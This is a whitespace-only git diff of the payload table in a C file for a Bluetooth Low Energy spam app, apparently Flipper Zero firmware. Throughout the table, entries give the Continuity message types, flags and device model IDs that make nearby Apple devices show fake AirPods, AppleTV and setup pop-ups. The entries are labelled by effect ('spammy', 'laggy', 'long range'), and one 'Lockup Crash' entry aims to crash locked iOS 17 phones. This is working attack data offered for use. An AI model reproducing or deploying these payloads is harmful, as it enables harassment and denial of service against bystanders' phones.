diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 0d38c9ad0..22b5f152d 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -21,7 +21,9 @@ typedef struct { // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam -static Payload payloads[] = { +static Payload + payloads[] = + { #if false {.title = "AirDrop", .text = "", @@ -184,286 +186,286 @@ static Payload payloads[] = { .data = {.nearby_info = {}}, }}, #endif - {.title = "Lockup Crash", - .text = "iOS 17, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeCustomCrash, - .data = {.custom_crash = {}}, - }}, - {.title = "Random Action", - .text = "Spam shuffle Nearby Actions", - .random = true, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}}, - }}, - {.title = "Random Pair", - .text = "Spam shuffle Proximity Pairs", - .random = true, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, - }}, - {.title = "AppleTV AutoFill", - .text = "Banner, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}}, - }}, - {.title = "AppleTV Connecting...", - .text = "Modal, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, - }}, - {.title = "Join This AppleTV?", - .text = "Modal, unlocked, spammy", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, - }}, - {.title = "AppleTV Audio Sync", - .text = "Banner, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}}, - }}, - {.title = "AppleTV Color Balance", - .text = "Banner, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}}, - }}, - {.title = "Setup New iPhone", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}}, - }}, - {.title = "Setup New Random", - .text = "Modal, locked, glitched", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0x40, .type = 0x09}}, - }}, - {.title = "Transfer Phone Number", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}}, - }}, - {.title = "HomePod Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}}, - }}, - {.title = "AirPods Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, - }}, - {.title = "Beats Solo 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, - }}, - {.title = "AirPods Max", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, - }}, - {.title = "Beats Flex", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, - }}, - {.title = "Airtag", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, - }}, - {.title = "Hermes Airtag", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, - }}, - {.title = "Setup New AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}}, - }}, - {.title = "Pair AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}}, - }}, - {.title = "HomeKit AppleTV Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}}, - }}, - {.title = "AppleID for AppleTV?", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}}, - }}, - {.title = "AirPods", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, - }}, - {.title = "AirPods 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, - }}, - {.title = "AirPods 3rd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, - }}, - {.title = "AirPods Pro 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, - }}, - {.title = "Powerbeats 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, - }}, - {.title = "Powerbeats Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, - }}, - {.title = "Beats Solo Pro", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, - }}, - {.title = "Beats Studio Buds", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, - }}, - {.title = "Beats X", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, - }}, - {.title = "Beats Studio 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, - }}, - {.title = "Beats Studio Pro", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, - }}, - {.title = "Beats Fit Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, - }}, - {.title = "Beats Studio Buds+", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, - }}, + {.title = "Lockup Crash", + .text = "iOS 17, locked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeCustomCrash, + .data = {.custom_crash = {}}, + }}, + {.title = "Random Action", + .text = "Spam shuffle Nearby Actions", + .random = true, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}}, + }}, + {.title = "Random Pair", + .text = "Spam shuffle Proximity Pairs", + .random = true, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, + }}, + {.title = "AppleTV AutoFill", + .text = "Banner, unlocked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}}, + }}, + {.title = "AppleTV Connecting...", + .text = "Modal, unlocked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, + }}, + {.title = "Join This AppleTV?", + .text = "Modal, unlocked, spammy", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, + }}, + {.title = "AppleTV Audio Sync", + .text = "Banner, locked, long range", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}}, + }}, + {.title = "AppleTV Color Balance", + .text = "Banner, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}}, + }}, + {.title = "Setup New iPhone", + .text = "Modal, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}}, + }}, + {.title = "Setup New Random", + .text = "Modal, locked, glitched", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0x40, .type = 0x09}}, + }}, + {.title = "Transfer Phone Number", + .text = "Modal, locked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}}, + }}, + {.title = "HomePod Setup", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}}, + }}, + {.title = "AirPods Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, + }}, + {.title = "Beats Solo 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, + }}, + {.title = "AirPods Max", + .text = "Modal, laggy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, + }}, + {.title = "Beats Flex", + .text = "Modal, laggy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, + }}, + {.title = "Airtag", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, + }}, + {.title = "Hermes Airtag", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, + }}, + {.title = "Setup New AppleTV", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}}, + }}, + {.title = "Pair AppleTV", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}}, + }}, + {.title = "HomeKit AppleTV Setup", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}}, + }}, + {.title = "AppleID for AppleTV?", + .text = "Modal, unlocked", + .random = false, + .msg = + { + .type = ContinuityTypeNearbyAction, + .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}}, + }}, + {.title = "AirPods", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, + }}, + {.title = "AirPods 2nd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, + }}, + {.title = "AirPods 3rd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, + }}, + {.title = "AirPods Pro 2nd Gen", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, + }}, + {.title = "Powerbeats 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, + }}, + {.title = "Powerbeats Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, + }}, + {.title = "Beats Solo Pro", + .text = "", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, + }}, + {.title = "Beats Studio Buds", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, + }}, + {.title = "Beats X", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, + }}, + {.title = "Beats Studio 3", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, + }}, + {.title = "Beats Studio Pro", + .text = "Modal, spammy (stays open)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, + }}, + {.title = "Beats Fit Pro", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, + }}, + {.title = "Beats Studio Buds+", + .text = "Modal, spammy (auto close)", + .random = false, + .msg = + { + .type = ContinuityTypeProximityPair, + .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, + }}, }; #define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))